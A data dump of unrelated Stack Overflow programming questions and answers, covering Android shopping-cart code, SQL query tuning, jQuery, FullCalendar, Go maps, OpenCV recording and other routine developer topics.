txtheader.setText(title); txtcost.setText(cost); imageLoader.DisplayImage(thumb_url, imgv); text_cost_code = (TextView)findViewById(R.id.single_cost); edit_qty_code = (EditText)findViewById(R.id.single_qty); txt_total=(TextView)findViewById(R.id.single_total); itemamount=Double.parseDouble(text_cost_code.getText().toString()); txt_total.setText(Double.toString(itemamount)); edit_qty_code.addTextChangedListener(new TextWatcher() { public void onTextChanged(CharSequence s, int start, int before, int count) { // TODO Auto-generated method stub } public void beforeTextChanged(CharSequence s, int start, int count, int after) { // TODO Auto-generated method stub } public void afterTextChanged(Editable s) { itemquantity=Double.parseDouble(edit_qty_code.getText().toString()); itemamount=Double.parseDouble(text_cost_code.getText().toString()); txt_total.setText(Double.toString(itemquantity*itemamount)); } }); ImageButton addToCartButton = (ImageButton) findViewById(R.id.img_add); addToCartButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { Intent in = new Intent (SingleMenuItem.this, com.erachnida.restaurant.versionoct.FinalOrder.class); in.putExtra(KEY_TITLE, getIntent().getStringExtra(KEY_TITLE)); in.putExtra(KEY_COST, getIntent().getStringExtra(KEY_COST)); startActivity(in); // Close the activity // finish(); } }); }} </code></pre> <p>ViewCart Code:-</p> <pre><code>public class FinalOrder extends Activity { static final String KEY_TITLE = "title"; static final String KEY_COST = "cost"; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.view); Intent in = getIntent(); String title1 = in.getStringExtra(KEY_TITLE); String cost1 = in.getStringExtra(KEY_COST); TextView txttitle1 = (TextView) findViewById(R.id.item_name); TextView txtcost1 = (TextView) findViewById(R.id.item_cost); txttitle1.setText(title1); txtcost1.setText(cost1); } } </code></pre>
5231656	0	 <p>if your using cocos2d-iphone-0.99.5 </p> <p>you have to import "CCParticleSystemPoint.h"</p> <p>and check below linezs also.</p> <p>refer this word"ARCH_OPTIMAL_PARTICLE_SYSTEM " in your cocos2d libraries "ccparticleexamples.h"</p> <p>hope this helps you.</p>
14819935	0	 <p>Unless you only need the line items on very rare occasions, store them together as per this post from Ayende <a href="http://ayende.com/blog/4546/modeling-hierarchical-structures-in-ravendb" rel="nofollow">http://ayende.com/blog/4546/modeling-hierarchical-structures-in-ravendb</a></p>
7511670	0	 <p>I had the same feature in Aix and Linux implementations. In Aix, internal bitset storage is char based:</p> <pre><code>typedef unsigned char _Ty; .... _Ty _A[_Nw + 1]; </code></pre> <p>In Linux, internal storage is long based:</p> <pre><code>typedef unsigned long _WordT; .... _WordT _M_w[_Nw]; </code></pre> <p>For compatibility reasons, we modified Linux version with char based storage</p> <p>Check which implementation are you using inside bitset.h</p>
34221215	0	 <p>Acknowledging that I say this from a position of ignorance; would it not be easier to have the service maintain the list of articles and let the controller observe that? It would avoid the need to send messages back and forth through the scopes and have a single source of truth.</p>
26864680	0	 <p>You need to convert the .NET ticks to UNIX Epoch and then to a postgreSQL timestamp.</p> <pre><code>to_timestamp((("date" - 621355968000000000) / 10000000)) </code></pre> <p>This code with work with version 9 and above</p>
18306774	0	Continues Video Recording using OpenCv with Multiple Web cams. and streaming Video to Website <p>I'm a BSc student and im working on my final year project i have planned to create a security system using OpenCV with C++ using OOP using Ms visual Studio 2012, so far i have managed to capture video from multiple webcams and even record the video separately</p> <p>However I realize that video only gets saved ones the application is closed. which leads me to another problem, because i would like to stream the recorded video live to a website.</p> <p>Questions so far 1. Need to continuously record video and save to file 1. Need to Add time and date info (Time Stamp each frame)</p> <p>Any form of help is much appreciated (code , links, or advice ) thanks in advance </p>
12847059	0	AS3 - hitTestObject with dynamic MovieClips added through For Loops <p>I've been attempting to set up a hitTestObject function in a project I've been working on recently and have encountered some difficulty.</p> <p>This is because I'm trying to do it with MovieClip instances dynamically added through a For Loop. The MovieClips being added are called 'square' and when I left Mouse Click I add a series of these MovieClips to the stage. My problem is that I want to listen out for a hitTestObject of 'square' intercepting 'square' and subsequent additions of the same MovieClip.</p> <p>I've set up a numerical variable that increments up by 1 each time I add the group of 'square' MovieClips through left click to the stage and I've assigned this number along with a string to combine together to create a square.name instance.</p> <p>In my case the first group of MovieClips added would have a .name instance called 'Square 1' and then 'Square 2' on the second mouse click and so on.</p> <p>I've also added and pushed each name through into a container array for referencing later.</p> <p>So how can I actually reference these dynamic names in a hitTestObject argument using my .name instance and array??</p> <p>I'm sure it is obvious and I've done the groundwork so any help to point this out to me would be greatly appriciated.</p> <p>Many Thanks.</p>
36891296	0	 <p>I don't think so. But if the goal is to match intents/actions inside your application (with associated topics) you have another solution. Please try LUIS (<a href="http://www.luis.ai" rel="nofollow">Language Understanding Intelligent Service</a>) ; this service is part of Microsoft Cognitive Services.</p> <p>Just perform a free speech and send the text to this service (once you train it). You can check the following video to obtain additional détails <a href="https://www.luis.ai/Help" rel="nofollow">https://www.luis.ai/Help</a>. Note: This is free until 100,000 transactions per month.</p>
39604810	0	Xamarin Android.Support.V4 in VS 2013 not recognize in amxl.layout <p>I am working with VS 2013 and I have already installed Components and references.</p> <p><a href="http://i.stack.imgur.com/nyNBS.png" rel="nofollow">The main.axml does not recognize that layout. The warning is: Invalid child element 'Android.Support.V4.View.ViewPager'. List of possible elements expected (all of the VS 2013 Toolbox):</a></p> <p>I already included the 'Xamarin.Android.Support v4' library and a Reference exists to my Project. I tried: 'Manage NuGet Packages' and 'Installed it with Package Manager Console but it still does not work. It only works in my CS.Files. Any ideas ?</p> <p>Thanks</p>
33453553	0	Why is this code to find the minimum number in an array assuming the first element is smallest? <pre><code>#include&lt;cs50.h&gt; #include&lt;stdio.h&gt; int main (void) { int a,array[100],min,c,b=0; printf("Enter a number that you wish: \n"); a=GetInt(); printf("Now Enter %i Independently \n",a); for(int b=0; b&lt;a; b++) array[b]=GetInt(); min = array[0]; for ( c = 0 ; c &lt; b ; c++ ) { if ( array[c] &lt; min ) min = array[c]; } printf("Minimum value is %i.\n", min); return 0; } </code></pre> <p>Output</p> <pre><code>Enter a number that you wish: 4 Now Enter 4 Independently 2 3 1 4 Minimum value is 2. </code></pre> <p>But I am sure the minimum number is 1 — what's wrong?</p>
7840310	0	Android Maps API Key Issues <p>I am having a weird problem with a simple map application I am trying to write (API 2.2). Yesterday, I started the app and I could see the map displayed and was able to pan around and zoom in and out. It worked perfectly. I also ran the app successfully on a Galaxy tab (I normally run them on an emulator). Today, I started the application, but instead of seeing the map, I see a grid of grey boxes. I thought it might be a problem with the API key, so I created a second one and swapped it with the first, this did not fix the problem.</p> <p>The only difference between the times I tried running the projects was that I did it on two different computers. It worked originally on the computer that I created the project on, but it now will no longer work on any computer that I have attempted to use. I don't know that this is related, but it is the only significant thing that changed between when I ran the project each time.</p> <p>After looking through the LogCat, I have found two errors that might be relevant to my problem they are:</p> <p>Could not open GPS configuration file /etc/gps.conf<br/> Couldn't get connection factory client</p> <p>Does anyone know if these are problems, and if so, how to fix them?</p>
33265909	0	 <p>The problem is that you're trying to encode the whole URL. The only pieces you want to encode are the querystring <em>values</em>, and you can just use <code>Url.Encode()</code> for this.</p> <p>You don't want to encode the address, the querystring params, or the <code>?</code> and <code>&amp;</code> delimiters, otherwise you'll end up with an address the browser can't parse.</p> <p>Ultimately, it would look something like this:</p> <pre><code>&lt;a href="https://www.notmysite.co.uk/controller/action?order_ID=@Url.Encode(Model.bookingNumber)&amp;hashComparator=@Url.Encode(Model.hashCode)"&gt;Click Here to be transferred&lt;/a&gt; </code></pre>
35310844	0	View page does not reload when modelstate fails <p>In my MVC application, I am using jquery ajax to post data to action. When model state is valid then jquery ajax shows perfect result. But when model state is not valid, It does not return anything and does not reload my view page in mvc.</p> <p>My Action method code</p> <pre><code> [HttpPost] public ActionResult AllLandLord(User_Master usermaster, CityDate citydate) { List&lt;User_Master&gt; allLandLord = new List&lt;User_Master&gt;(); if (ModelState.IsValid) { allLandLord = agreementnewBAL.AllLandLordUsers(); return PartialView("LoadLandLord", allLandLord); } else { int successid= 1; return Json(new { id = successid}); } } } </code></pre> <p>In my View, Jquery code as follws</p> <pre><code> var usermodel = { US_FirstName:$("#txtFirstName").val(), US_LastName:$("#txtLastName").val(), US_Gender:$(".userGender").filter(':checked').val(), US_Age:$("#txtAge").val(), US_Email:$("#txtEmail").val(), US_MobileNo:$("#txtMobile").val(), US_PAN:$("#txtPan").val(), US_AadharNo:$("#txtAadhar").val(), US_PermanentAddress:$("#txtPermanentAddress").val() }; var citydatemodel = { CM_AgreementSignDate:$("#SignDate").val(), PR_City: $("#selectCity").val() }; $.ajax({ url:'@Url.Action("AllLandLord")', contentType: 'application/json; charset=utf-8', data: JSON.stringify({usermaster: usermodel, citydate: citydatemodel}), type:'POST', UpdateTargetId: "dvLandLord3", success:function(data){ if(data.id== 1) { location.reload(); } else { $("#dvLandLord3").html(data); } }, error:function(){ alert('something went wrong!'); } }); </code></pre> <p>I checked it using debugger, But it doesn't work for me. So, how can I reload my view page when model state valid is false?</p>
28655156	0	 <p>Thank you, all commentors and visitors, especially @PM 77-1, I solved the problem with your help, </p> <p>generally speaking, I need three things to initialize my JDBC tutorial, 1.MySQL 2.Eclipse and a nice plugin as an option 3.JDBC driver, for me it is mysql driver mysql.com/products/connector</p> <p>use the @PM 77-1 provided tutorial to set up the project to manipulate the database. </p> <p>But if you need a database GUI in Eclipse like me, you will need a plugin like DBview, my initial one database explorer is no longer in Eclipse. And remember to download the JDBC driver with .jar as the end. It can be find at platform independent version. </p> <p>Ok that's all.</p>
22360300	0	 <p>First, you should use explicit <code>join</code> syntax. Second, it is suspicious whenever you have a <code>top</code> without an <code>order by</code>. So, your query as I see it is:</p> <pre><code>select TOP 1 @TopValue = t2.myDecimal from table1 t1 join table2 t2 on t1.ID = t2.table1ID where CONVERT( VARCHART(8), t1.Created, 112 ) = @stringYYYYMMDD and t1.Term = @Label" </code></pre> <p>You can speed this up with some indexes. But, before doing that, you want to change the date comparison:</p> <pre><code>where t1.Created &gt;= convert(datetime, @stringYYYYMMDD, 112) and t1.Created &lt; convert(datetime, @stringYYYYMMDD, 112) + 1 and t1.Term = @Label </code></pre> <p>Moving the function from the column to the constant makes the comparison "sargable", meaning that indexes can be used for it.</p> <p>Next, create the indexes <code>table1(Term, Created, Id)</code> and <code>table2(table1Id)</code>. These indexes should boost performance.</p>
21811027	0	 <p>Perhaps it's <code>$n_part = $_COOKIE['crea_camp']['n_part'];</code>.</p> <p>You may use <code>print_r()</code> or <code>var_dump()</code> to see the contents of a variable, for instance <code>print_r($_COOKIE);</code> and check what the key names are.</p> <p>You can as well always check what cookies are set/sent back in/from the browser using the respective developer tools (Firebug, Firefox Dev Tools, Chrome Dev Tools, etc.).</p>
23210292	0	 <p>This code working fine for me</p> <p><pre><code> import android.app.Activity; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.TextView;</p> <p>public class MainActivity extends Activity {</p> <pre><code>Button btnClick = null; TextView txtView = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btnClick = (Button) findViewById(R.id.btnClick); txtView = (TextView) findViewById(R.id.txtView); btnClick.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { txtView.setText("MP 204"); } }); } } </code></pre> <p></pre></code> the layout file</p> <pre><code>&lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity" &gt; &lt;Button android:id="@+id/btnClick" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:text="ClickMe" /&gt; &lt;TextView android:id="@+id/txtView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignLeft="@+id/btnClick" android:layout_alignParentRight="true" android:layout_below="@+id/btnClick" android:text="@string/hello_world" /&gt; &lt;/RelativeLayout&gt; </code></pre>
8839644	0	 <p>I ended up finding a solution at <a href="http://zetafleet.com/blog/javascript-dateparse-for-iso-8601" rel="nofollow">http://zetafleet.com/blog/javascript-dateparse-for-iso-8601</a>. It looks like the date is in a format called 'ISO 8601.' On earlier browsers (Safari 4, Chrome 4, IE 6-8), ISO 8601 is not supported, so Date.parse doesn't work. The code referenced from the linked blog post extends the current Date class to support ISO 8601.</p>
18397349	0	 <p>And... well... thanks to @BMH, <strong>this</strong> is what worked :</p> <pre><code>$('[comp-id]:not(.hover)').mousemove(function(e){ $('[comp-id]').removeClass('hover'); e.stopPropagation(); $(this).addClass('hover'); }); </code></pre>
39187045	0	 <p>How about using [count] to count the occurrences of an item in the list?</p> <pre><code>list == [40, 20, 30, 50, 40, 40, 40, 40, 40, 40, 20] for i in list: if list.count(i) &gt; 10: # Do Stuff </code></pre>
32652155	0	How to log an audit response using Camel / Wire Tap? <p>We have a requirement to audit a Servlet route.</p> <p>We have looked at using a Wire Tap which would Post a new HTTP request to a separate audit endpoint.</p> <p>Our reason for using a Wire Tap is so we don't block the Servlet route. </p> <p>Our problem is that we need to log the HTTP response from the audit endpoint. Our understanding is that the Wire Tap component is InOnly and therefore will not capture the response. </p> <p>Our current thought is to push the audit requests to a Queue after the Wiretap. We would then take the requests off the queue and call the auditing endpoint logging the responses. </p> <p>Is this the best approach or is there a better way?</p> <p>Could we use "setExchangePattern" to make the Wire Tap InOut? If so would it block the main route?</p> <p>We have seen there is an OnCompletion handler but are not sure whether that would be of use to us. Again would it block the main route?</p>
25397008	0	user-inactivity auto logout <p>I want to implement an auto user logout after an idle time of X mins in my project. So I have googled for relevant examples but they cant seem to debug properly with my existing codes. My intentions are to utilize: </p> <p>-a BackgroundProcessingService extend Service<br> -a CountDownTimer</p> <p>Can anyone help me with a basic auto user logout program?</p>
22125795	0	Global variable is not working correctly <p>In my view controller's main file, I created a property for an NSArray object named <code>finalStringsArray</code>: </p> <p><code>@property (strong, nonatomic) NSArray *finalStringsArray;</code></p> <p>Then in viewDidLoad, I make sure to initialize the object:</p> <pre><code>self.finalStringsArray = [[NSArray alloc]init]; </code></pre> <p>Further down the viewDidLoad method implementation, I query my server for data, get rid of some of the extra junk that the server sends me like blank space, and then I place my perfect strings inside of my <code>finalStringsArray</code> array:</p> <pre><code>[query findObjectsInBackgroundWithBlock:^(NSArray *objects, NSError *error) { if (!error) { NSString *parseString = [[NSString alloc]initWithFormat:@"%@", objects]; NSString *cURL=[self stringBetweenString:@"=" andString:@")" withstring:parseString]; NSString *newString = [cURL stringByReplacingOccurrencesOfString:@" " withString:@""]; NSString *newString2 = [newString stringByReplacingOccurrencesOfString:@"(" withString:@""]; NSString *newString3 = [newString2 stringByReplacingOccurrencesOfString:@"\\n" withString:@""]; _finalStringsArray = [newString3 componentsSeparatedByString:@","]; int index; for(index = 0; index &lt; _finalStringsArray.count; index++) { NSString *string = [[NSString alloc]init]; string = _finalStringsArray[index]; NSLog(@"Count: %d", _finalStringsArray.count); } NSLog(@"Count: %d", _finalStringsArray.count); } } ];} </code></pre> <p>All that matters in the above code is this statement: <code>_finalStringsArray = [newString3 componentsSeparatedByString:@","];</code></p> <p>This adds my finalized strings to my <code>_finalStringsArray</code> array object. You will notice that I am NSLogging the count property of my array: <code>NSLog(@"Count: %d", _finalStringsArray.count);</code></p> <p>When I perform these NSLogs, they always NSLog with the correct count of 2.</p> <p>Here's my problem though. Further down, I have a method implementation that needs to use the count property of <code>_finalStringsArray</code> as well. But for some reason, it always NSLogs as "0" and I can't figure out why.</p> <p>Below are the 3 method implementations that are below my viewDidLoad. I need to be able to access the count property of <code>_finalStringsArray</code> in the method implementation for <code>-(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section</code>:</p> <pre><code>- (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; // Dispose of any resources that can be recreated. NSLog(@"all good string count3: %d", _finalParseStrings.count); } - (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView { return 1 ; } -(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { NSLog(@"all good string count5: %d", [self.finalStringsArray count]); return [self.finalStringsArray count]; } </code></pre>
31814343	0	 <p>The reason I believe this isn't working is you have no comparison try this. Other wise it will return 0 which is True. </p> <pre><code>KeepActive = "no match" For i = 1 To 500 If InStr(catchAll, Sheet4.Cells(i, 1).Value) &gt; 0 Then KeepActive= "match" exit for End If Next i </code></pre>
27093872	0	 <p>You can use nlargest from heapq module</p> <pre><code>import heapq heapq.nlargest(1, sentence.split(), key=len) </code></pre>
6790917	0	Setting Android TimePicker In XML <p>Is it possible to set TimePicker hours mode to 24-hours-mode in XML file? Or is it posible in Java only? I want to make a layout that has 24-hours picker but I can't find such attribute.</p>
28605442	0	 <p>Hope this might help you mate.</p> <pre><code>$('.owl-carousel').owlCarousel({ loop: true, items: 1, }); owl = $('.owl-carousel').owlCarousel(); $(".prev").click(function () { owl.trigger('prev.owl.carousel'); }); $(".next").click(function () { owl.trigger('next.owl.carousel'); }); </code></pre> <p>Fiddle <a href="http://jsfiddle.net/w5b38r6v/">here</a></p>
7346061	0	 <p>please try this:: </p> <pre><code>Display display = getWindowManager().getDefaultDisplay(); int width = display.getWidth(); int height = display.getHeight(); int int_var = (width * 60)/100; </code></pre> <p>and put <code>int_var</code> as width</p>
11551555	0	System.Web.Caching with WebSockets <p>Is it possible to use classes from the <code>System.Web.Caching</code> namespace with an ASP.NET application which uses WebSockets?</p>
37109265	0	std::lock_guard<pthread_mutex_t> does not compile <pre><code>std::lock_guard&lt;pthread_mutex_t&gt; lock(mExecutionReportsLock); </code></pre> <p>This does not compile because pthread_mutex_t is not valid template argument. What is the best way to achieve this functionality</p>
9447184	0	Contactable plugin <p>I'm using this plugin <a href="http://theodin.co.uk/blog/ajax/contactable-jquery-plugin.html" rel="nofollow">link</a><br/> My question is, i want to remove the button (feedback) and instead use a normal link in my html page > &lt; a href="#">Contact&lt; /a> that trigger the plugin <br/> I deleted this tag from .js file: &lt; div id="contactable_inner">&lt; /div> and now i want to attach my &lt; a> link to the plugin <br/>i don't know jQuery, can anyone help me plz?</p>
39121982	0	How to insert a value into a BTreeSet in Rust and then get an iterator beginning at its location? <p>Am I missing something, or is there no way to get an iterator beginning at the newly-inserted value in a <code>BTreeSet</code>? </p> <p><a href="https://doc.rust-lang.org/std/collections/struct.BTreeSet.html#method.insert" rel="nofollow"><code>BTreeSet::insert</code></a> just returns a boolean. For comparison, the <code>insert</code> method for <code>std::map</code> in C++ returns a pair of an iterator and a boolean.</p> <p>It is possible to look up the newly-inserted element and get the iterator that way, but that's inefficient.</p> <p>This isn't a duplicate of <a href="http://stackoverflow.com/questions/28512394/how-to-lookup-from-and-insert-into-a-hashmap-efficiently">How to lookup from and insert into a HashMap efficiently?</a> as I need to get an <strong>iterator</strong> pointing to the location of the newly inserted value. I want to obtain the preceding and following values, if these exist.</p>
11617444	0	Why doesn’t [NSArray class] return what I expected? <p>I am trying to parse some JSON that I get via a web service. The logic is :</p> <pre><code>id jsonObject = ....; //This can be string or array if([jsonObject class] == [NSString class] || [jsonObject class] == [NSMutableString class]{ // DO some thing } else if([jsonObject class] = [NSArray class] || [jsonObject class] == [NSMutableArray class]{ // Do some thing else } </code></pre> <p>However for one of the elements I ran into a weird problem. The class of this element should be NSArray but when I run the code I see the class as __NSArrayM. This does not match the second if block. </p> <p>Can some one tell me what I am doing wrong</p>
28646088	0	 <p>For anyone having the same issue with CocosSharp (the Xamarin C# port of Cocos2D):</p> <p>To convert a CCColor3B to a CCColor4F, you can pass in the CCColor3B as a argument to the constructor of CCColor4F. For example:</p> <pre><code>var color = new CCColor4F (CCColor3B.Red); </code></pre> <p>CCColor4B doesn't have a constructor with CCColor3B as an argument, so you have to pass in the individual values for Red, Green, and Blue, as follows:</p> <pre><code>var sourceColor = CCColor3B.Red; var color = new CCColor4B (sourceColor.R. sourceColor.G, sourceColor.B); </code></pre> <p>I like to create extension methods to encapsulate the above, as follows:</p> <pre><code>public static class ColorExtensions { public static CCColor4F ToColor4F(this CCColor3B sourceColor) { return new CCColor4F (sourceColor); } public static CCColor4B ToColor4B(this CCColor3B sourceColor) { return new CCColor4B (sourceColor.R, sourceColor.G, sourceColor.B); } } </code></pre> <p>So you can then perform conversions using the following:</p> <pre><code>var bColor = CCColor3B.ToColor4B(); var fColor = CCColor3B.ToColor4F(); </code></pre>
7515576	0	 <p>Try this:</p> <pre><code>SELECT SequencedChannelValue.* -- Specify only the columns you need, exclude the SequencedChannelValue FROM ( SELECT ChannelValue.*, -- Specify only the columns you need SeqValue = ROW_NUMBER() OVER(PARTITION BY VehicleID ORDER BY TimeStamp DESC) FROM ChannelValue ) AS SequencedChannelValue WHERE SequencedChannelValue.SeqValue = 1 </code></pre> <p>A table or index scan is expected, because you're not filtering data in any way. You're asking for the latest TimeStamp for all VehicleIDs - the query engine HAS to look at every row to find the latest TimeStamp.</p> <p>You can help it out by narrowing the number of columns being returned (don't use SELECT *), and by providing an index that consists of VehicleID + TimeStamp.</p>
7418039	0	 <p>Yes. There is no requirement that <code>IDENTITY</code> columns be made a primary key.</p> <pre><code>CREATE TABLE T ( X INT PRIMARY KEY, Y INT IDENTITY(1,1) ) </code></pre> <p>Though I'm not sure when this would be useful. If you have a natural key that you want to use as the PK then you would probably want to put a unique constraint on the surrogate alternate key anyway.</p> <p>For purposes of setting up FK relationships SQL Server doesn't care if the column(s) is the PK or not it just requires a unique index on it/them.</p>
26597594	0	FullCalendar, possible to set selectable false but allow select slot <p>I'm making an application with <a href="http://fullcalendar.io/" rel="nofollow">FullCalendar</a>.</p> <p>I noticed that with <code>selectable</code> set to <code>true</code>, the user was able to select multiple weeks or time slots which was not desired. On the other hand when I set <code>selectable</code> to <code>false</code>, then I can no longer use the select action that I want to be triggered when the user selects a time slot. Is there any way that <code>selectable</code> feature will remain to <code>false</code>, but still each time slot to be selectable on its own, not as part of group of time slots.</p> <p>Here is my code, passed as array through PHP:</p> <pre><code>'options'=&gt;array( 'header'=&gt;array( 'left'=&gt;'prev,next,today', 'center'=&gt;'title', 'right'=&gt; 'month,agendaWeek,agendaDay', ), 'minTime' =&gt; '09:00:00', 'maxTime' =&gt; '20:00:00', 'slotDuration' =&gt; '01:00:00', 'slotEventOverlap' =&gt; false, 'defaultTimedEventDuration' =&gt; '01:00:00', 'allDaySlot' =&gt; false, 'allDay' =&gt; false, 'lazyFetching'=&gt;true, 'weekends' =&gt; false, 'selectable' =&gt; true, 'height' =&gt; 'auto', 'contentHeight' =&gt; '150', // 'selectHelper' =&gt; true, // 'events'=&gt;array(), // pass array of events directly 'select' =&gt; new CJavaScriptExpression("function(start, end, jsEvent, view) { var currdisplay = view.name; var check = Date.parse(start) / 1000; var today = Date.parse(new Date()) / 1000; if (currdisplay != 'month' &amp;&amp; check &gt;= today) { var start1 = Date.parse(start) / 1000; var end = Date.parse(start) / 1000 + 3600; window.location.href = \"www.somelink.com/?from=\" + start1 + \"&amp;to=\" + end; }}"), 'dayClick' =&gt; new CJavaScriptExpression("function(date, jsEvent, view) { var currdisplay = view.name; if (currdisplay == 'month') { $('.calendar').fullCalendar('gotoDate', date); $('.calendar').fullCalendar('changeView', 'agendaWeek'); }}"), </code></pre> <p>I have currently a fix, as you probably can see in the code block:</p> <pre><code>var start1 = Date.parse(start) / 1000; var end = Date.parse(start) / 1000 + 3600; </code></pre> <p>These two lines make sure that if user select 5 time slots, to set the end time 1 hour (3600 seconds) after the start time, and not 5 hours later, but I'm not satisfied with this solution since I don't find it clean, and I don't like that <code>selectable</code> feature is still available.</p>
36785706	0	MySQL select as variable to be used in a function defined in PHP <p>I think this a pretty classical setting: Suppose I have a <code>table tab1</code>, with <code>columns c1, c2</code>. Then I want to <code>select c1, c2</code> as variable of a function <code>fun(a,b)</code> in another select:</p> <pre><code>SELECT fun(@a,@b) as r FROM (SELECT @a:=c1, @b:=c2 FROM tab1) AS tab ORDER BY r LIMIT 10; </code></pre> <p>The fun is pre-defined in PHP:</p> <pre><code>function fun($d, $t){ $timenow = time(); $perd = 45000; $di = (int)$d; $tf = (float)$t; if ($di === 0) { return 0; }else{ return (Log($di)/Log(10)+($timenow-$tf)/$perd); } } </code></pre> <p>The problem is that the variable is not updated at all. I build a test environment in <a href="http://sqlfiddle.com/#!9/9ffd6" rel="nofollow">http://sqlfiddle.com/#!9/9ffd6</a>, the <code>fun(@a,@b)</code> is replaced by <code>@a</code> for simplicity.</p> <hr> <p>UPDATE</p> <p>It seems that my original question canot properly describe my problem. And I updated it, thanks to @wajeeh, the solution could be:</p> <ol> <li>translate my php function into MYSQL form (it is a litter hard for me)</li> <li>Use php function, but return the mysql results as array. (In that case I need to write the odering function by hand! and then (maybe) need another SELECT of MYSQL?)</li> </ol>
29625069	0	 <p>Andriod like toast in ios .you can modify it as per requirement </p> <p><a href="https://github.com/ecstasy2/toast-notifications-ios" rel="nofollow">https://github.com/ecstasy2/toast-notifications-ios</a></p>
27282602	0	golang: How can I populate a multi-struct map in a loop? <p>I have log files of customer interactions with an API. I want to parse those logs and feed the results into a map of structs so that I can organize the data into helpful information. For example, I would like to respond to the following query: "show me the total number of requests per user per day".</p> <p>I have created what seems like an adequate structure to hold the data. However, when I try to run the program I get the error: <code>invalid operation: dates[fields[1]] (type *Dates does not support indexing) [process exited with non-zero status]</code>.</p> <p><a href="http://play.golang.org/p/8u3jX26ktt" rel="nofollow">http://play.golang.org/p/8u3jX26ktt</a></p> <pre><code>package main import ( "fmt" "strings" ) type Stats struct { totalNumberOfRequests int } type Customer struct { listOfCustomers map[string]Stats // map[customerid]Stats } type Dates struct { listOfDates map[string]Customer // map[date]Customer } var requestLog = []string{ "2011-10-05, 1234, apiquery", "2011-10-06, 1234, apiquery", "2011-10-06, 5678, apiquery", "2011-10-09, 1234, apiquery", "2011-10-12, 1234, apiquery", "2011-10-13, 1234, apiquery", } func main() { dates := new(Dates) for _, entry := range requestLog { fmt.Println("entry:", entry) fields := strings.Split(entry, "'") dates.listOfDates[fields[0]].listOfCustomers[fields[1]].totalNumberOfRequests++ } } </code></pre> <p>Is there a better structure to use? Or is there a way to make this structure work for this particular purpose?</p>
11456688	0	Hibernate if @NotFound, Insert into Database <p>My client wrote the back-end for an application i'm building using PHP. However He didn't write the database all too well. For instance there is two tables one 'users' and one 'user_settings'. However his script would only create rows in 'user_settings' once a user decided to modify their settings. Otherwise his entire script used defaults, in his words "as an attempt to save database space".</p> <p>However, in Hibernate i'm having to try and get those 'user_settings' for some users and its causing problems for those that don't have any set. Is there a way in hibernate that I would be able to insert some default settings into the database, after a call to getClientSettings() if nothing exists in the database for that client?</p>
4589841	0	 <p>If you must have forms always work but tracking can be sacrificed if absolutely necessary, you could just try/catch it.</p> <pre><code>$('form').submit(function(e){ try{ e.preventDefault(); var form = this; _gaq.push('_trackEvent', 'Form', 'Submit', $(this).attr('action')); //...do some other tracking stuff... setTimeout(function(){ form.submit(); }, 400); } catch (e) { form.submit(); } }); </code></pre>
3258909	0	Collection of Property=>Value? <p>I would like to create a collection of key, value pairs in C# where the key is a property of an ASP.net control (e.g. ID) and the value is the value of that property. I would like to do this so I may later iterate through the collection and see if a given control has the properties in my collection (and the values of the properties in the control match the values defined in my collection). Any suggestions as to the best way to do this? Thanks for any help.</p> <p>Pseudo-code example:</p> <pre><code>Properties[] = new Properties[] {new Property(){name="ID",value="TestControl1"}, new Property(){name = "Text",value="Type text here"}} private bool controlContainsProperties(Control control){ foreach(Property Property in Properties[]) { if((control does not contain property) || (control property value != Property.Value)) return false; } return true; } </code></pre>
5362719	0	 <p><strong>new_record?()</strong> public<br> Returns true if this object hasn’t been saved yet — that is, a record for the object doesn’t exist yet; otherwise, returns false.<br> This method is deprecated on the latest stable version of Rails. </p> <p><strong>Edit:</strong><br> Oops, looks like the link was broken. Fixed. <a href="http://apidock.com/rails/ActiveRecord/Base/new_record%3F" rel="nofollow">new_record?</a></p>
5173385	0	 <p>I've read the docs. They are extensive, free and pretty good. Read those.</p>
19999957	0	 <p>I hit this "non english" error message problem. I think it was due to the wrong versions of libodbc.so and libodbcinst.so being used. Changing the links in /usr/lib/... to point to the teradata installed versions worked for me. Commands using the default install directories in Ubuntu 12.04, 64bit were:</p> <pre><code>cd /usr/lib/x86_64-linux-gnu ls -lha | grep odbc (To should see the files below which are to be replaced). sudo mv libodbc.so.1.0.0 Xlibodbc.so.1.0.0 sudo ln -s /opt/teradata/client/14.10/odbc_64/lib/libodbc.so libodbc.so.1.0.0 sudo mv libodbcinst.so.1.0.0 Xlibodbcinst.so.1.0.0 sudo ln -s /opt/teradata/client/14.10/odbc_64/lib/libodbcinst.so libodbcinst.so.1.0.0 </code></pre> <p>I had also previously installed (through apt-get) odbcinst, so I redirected both files. But possibly only the first is needed.</p>
27211215	0	 <p>Make sure you have an event <strong>'richTextBox1_MouseHover'</strong> wired to the hover of your Rich Text Box.</p> <pre><code>private void richTextBox1_MouseHover(object sender, EventArgs e) { MessageBox.Show("Hello"); } </code></pre>
39483032	0	 <p>One simple mistake in your approach. </p> <p>The values from JSON are read as string and you are passing a string to <code>element()</code> and not a locator(not a <code>by</code> object)</p> <pre><code>var webElement = element(test.yourName); // Incorrect. test.yourName returns string </code></pre> <p>Change it way and voila ! You should be good. Use eval(). Refer <a href="http://www.w3schools.com/jsref/jsref_eval.asp" rel="nofollow">here</a></p> <pre><code> var webElement = element(eval(test.yourName)); </code></pre>
